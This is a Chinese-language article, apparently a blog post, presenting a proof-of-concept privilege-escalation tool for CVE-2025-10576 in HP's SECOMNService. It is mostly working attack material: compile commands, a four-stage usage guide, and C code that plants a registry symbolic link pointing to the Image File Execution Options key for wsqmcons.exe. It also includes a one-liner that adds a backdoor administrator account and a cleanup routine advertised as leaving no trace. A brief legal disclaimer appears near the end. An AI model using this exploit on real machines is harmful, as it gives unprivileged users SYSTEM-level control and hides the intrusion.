HP Sound Research SECOMNService 权限提升漏洞利用工具

CVE-2025-10576:HP Sound Research SECOMNService 权限提升

项目概述

本项目是针对 CVE-2025-10576 漏洞的概念验证(PoC)利用工具。该漏洞影响 HP Sound Research 音频驱动组件的 SECOMNService 服务,由于注册表权限配置不当,允许任何非特权用户在 HKLM\Software\SoundResearch\APO 路径下创建注册表符号链接,诱导 SECOMNService 服务在系统重启或服务重启时向攻击者控制的注册表路径写入任意内容,从而实现权限提升并执行任意系统命令。

属性 值
漏洞编号 CVE-2025-10576
影响组件 HP Sound Research SECOMNService
漏洞类型 权限提升 (EoP)
利用方式 注册表符号链接 + Image File Execution Options
影响范围 特定 HP 消费级/商用级设备

功能特性

  • 注册表符号链接创建 :利用 REG_OPTION_CREATE_LINK 选项在 HKLM\Software\SoundResearch\APO 创建指向目标注册表路径的符号链接
  • 命令注入执行 :通过 Image File Execution Options 的 Debugger 键值,将任意命令注入到系统计划任务执行上下文中
  • 任务触发机制 :利用 Windows 客户体验改善计划(CEIP)的 Consolidator 计划任务触发命令执行
  • 完整清理功能:自动删除所有创建的注册表项和符号链接,不留痕迹
  • 分阶段利用流程:准备、执行、清理三阶段分离,便于在系统重启前后分别操作

安装指南

系统要求

  • 操作系统:Windows Vista / Windows Server 2008 及以上版本(支持注册表符号链接)
  • 目标环境:已安装 HP Sound Research 音频驱动组件的 HP 设备
  • 权限要求:普通用户权限即可(无需管理员权限)
  • 编译器:Microsoft Visual Studio 或 MinGW-w64

编译步骤

使用 Visual Studio 命令行工具编译:

cmd 复制代码
cl.exe /DUNICODE /D_UNICODE soundresearch_poc.c

使用 MinGW-w64 编译:

bash 复制代码
x86_64-w64-mingw32-gcc -o soundresearch_poc.exe soundresearch_poc.c -ladvapi32 -lntdll

依赖项

  • Windows SDK(提供 windows.h 头文件)
  • ntdll.dll(提供 NtDeleteKey 系统调用)
  • 无需额外第三方库

使用说明

基础用法

arduino 复制代码
soundresearch_poc.exe [prepare|exploit|run|cleanup] [命令参数]

利用流程

第一步:准备(Prepare)

创建注册表符号链接,将 HKLM\Software\SoundResearch\APO 重定向到 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsqmcons.exe:

cmd 复制代码
soundresearch_poc.exe prepare

执行成功后,必须重启系统或重启 SECOMNService 服务才能使符号链接生效。

第二步:执行漏洞利用(Exploit)

设置 IFEO 调试器键值,将目标命令注入到 wsqmcons.exe 的调试器中:

cmd 复制代码
soundresearch_poc.exe exploit "whoami /all > C:\Windows\soundresearch.txt"

该命令会:

  1. 打开已符号链接的目标注册表路径
  2. 设置 Debugger 值为当前可执行文件路径 + run 子命令 + 目标命令
  3. 触发 CEIP Consolidator 计划任务
第三步:运行任意命令(Run)

直接通过工具执行任意命令(通常由 exploit 自动调用):

cmd 复制代码
soundresearch_poc.exe run "net localgroup administrators"
第四步:清理(Cleanup)

删除所有创建的注册表项和符号链接:

cmd 复制代码
soundresearch_poc.exe cleanup

使用场景示例

场景一:查看当前权限

cmd 复制代码
soundresearch_poc.exe exploit "whoami"

场景二:添加管理员用户

cmd 复制代码
soundresearch_poc.exe exploit "net user hacker P@ssw0rd /add && net localgroup administrators hacker /add"

场景三:获取系统信息

cmd 复制代码
soundresearch_poc.exe exploit "systeminfo > C:\temp\sysinfo.txt"

核心代码

1. 注册表符号链接创建(Prepare)

c 复制代码
BOOL prepare(void)
{
    wchar_t* linkstr = REGLINK_TARGET;  // 目标路径:IFEO
    HKEY hlink = NULL;

    // 删除已存在的键,确保干净状态
    RegDeleteTreeW(HKEY_LOCAL_MACHINE, SOUNDRESEARCH_KEY);

    // 创建注册表符号链接(REG_OPTION_CREATE_LINK 标志)
    if(!RegCreateKeyExW(HKEY_LOCAL_MACHINE, SOUNDRESEARCH_KEY, 0, NULL, 
                         REG_OPTION_CREATE_LINK, KEY_WRITE | KEY_READ, 
                         NULL, &hlink, NULL))
    {
        // 设置 SymbolicLinkValue 值指向目标路径
        RegSetValueExW(hlink, REG_SYMLINK_VALUE, 0, REG_LINK, 
                       (void*)linkstr, wcslen(linkstr) * sizeof(wchar_t));
        RegCloseKey(hlink);
        return TRUE;
    }
    return FALSE;
}

核心机制 :使用 REG_OPTION_CREATE_LINK 配合 REG_LINK 值类型创建注册表符号链接。当服务以 SYSTEM 权限访问 SOUNDRESEARCH_KEY 时,实际会被重定向到 IFEO_KEY 路径。

3. 清理函数(Cleanup)

c 复制代码
void cleanup(void)
{
    HKEY hlink = NULL;

    // 打开符号链接并删除(使用 REG_OPTION_OPEN_LINK)
    if(!RegOpenKeyExW(HKEY_LOCAL_MACHINE, SOUNDRESEARCH_KEY, 
                       REG_OPTION_OPEN_LINK, DELETE, &hlink))
    {
        NtDeleteKey(hlink);  // 直接删除符号链接键
        RegCloseKey(hlink);
    }

    // 删除 IFEO 键
    RegDeleteTreeW(HKEY_LOCAL_MACHINE, IFEO_KEY);
}

核心机制 :使用 REG_OPTION_OPEN_LINK 打开符号链接本身而非目标路径,通过 NtDeleteKey 删除链接键,彻底清除痕迹。


4. 主控制逻辑(Main)

c 复制代码
int main(int argc, char** argv)
{
    if(argc < 2) {
        printf("Usage: %s [prepare|exploit|run|cleanup] \"{command line}\"\n", argv[0]);
        return 1;
    }
    
    if(!strcmp(argv[1], "cleanup")) {
        cleanup();
        return 0;
    }
    else if(!strcmp(argv[1], "prepare")) {
        if(!prepare()) {
            printf("Symlink creation failed!\n");
            return 1;
        }
        printf("Symlink created! Now restart the machine or SECOMNService service!\n");
        return 0;
    }
    else if(!strcmp(argv[1], "exploit")) {
        if(argc < 3) {
            printf("exploit requires an extra command line argument!\n");
            return 1;
        }
        if(!exploit(argv[2])) {
            printf("Failed to run the exploit! Check permissions!\n");
            return 1;
        }
        printf("Exploit successful! Queue command: \"%s\"\n", argv[2]);
        return 0;
    }
    else if(!strcmp(argv[1], "run")) {
        if(argc < 3) {
            printf("run requires an extra command line argument!\n");
            return 1;
        }
        run(argv[2]);
        return 0;
    }
    
    printf("Command \"%s\" not known. Use prepare, exploit, run or cleanup!\n", argv[1]);
    return 1;
}

核心机制 :命令行驱动的控制流程,支持 prepare、exploit、run、cleanup 四个子命令,形成完整的漏洞利用闭环。

安全声明

⚠️ 警告:本工具仅供安全研究和授权测试使用。未经授权利用此漏洞攻击系统属于违法行为。使用者应遵守当地法律法规,在获得目标系统明确授权后方可使用。开发者对任何滥用行为不承担责任。

参考链接

相关推荐
正在走向自律18 分钟前
AI Agent 落地这一年:从“能跑起来”到“敢放出去”
大数据·人工智能·ai agent·智能体·mcp·a2a
不惑_33 分钟前
理解启元,从论文开始,RT-2 55B 只有 1~3Hz,OpenVLA 7B 反而高 16.5%——三代 VLA 论文解读,动作表示才是分水岭
人工智能·论文解读
IT_陈寒35 分钟前
Redis内存暴涨,没想到是AOF重写捣的鬼
前端·人工智能·后端
楚山之石39 分钟前
【JCO】mpMRI 先行替代 TURBT 初始分期:BladderPath 随机试验让 MIBC 患者提前 45 天得到正确治疗
人工智能·学习·mri·医学影像
AI视频工具指南1 小时前
用 AI 能做哪些视频?按想交付的作品选做法
人工智能·aigc·音视频
武天旭1 小时前
AI安全--AI大模型的对抗样本攻击与防御解析
人工智能·深度学习·安全·机器学习
shijuejianceliu2 小时前
传统规则视觉与嵌入式AI智能相机的技术差异
人工智能·嵌入式硬件·视觉检测·相机
goujunwe2 小时前
GEO 内容的“可摘录性”打磨技巧:段落、表格、小标题怎么写,方便大模型提取独立答案块
大数据·人工智能
羲云网络2 小时前
GPT Image 2.6 接入指南:Flare、Sunburst 怎么选,编辑失败如何排查
人工智能·python·aigc·图像生成·acedatacloud
张张123y3 小时前
DSH 插件调试避坑:client.js 设置面板、热重载与高频报错排查表
开发语言·javascript·人工智能·开源·ecmascript·后端开发·ai agent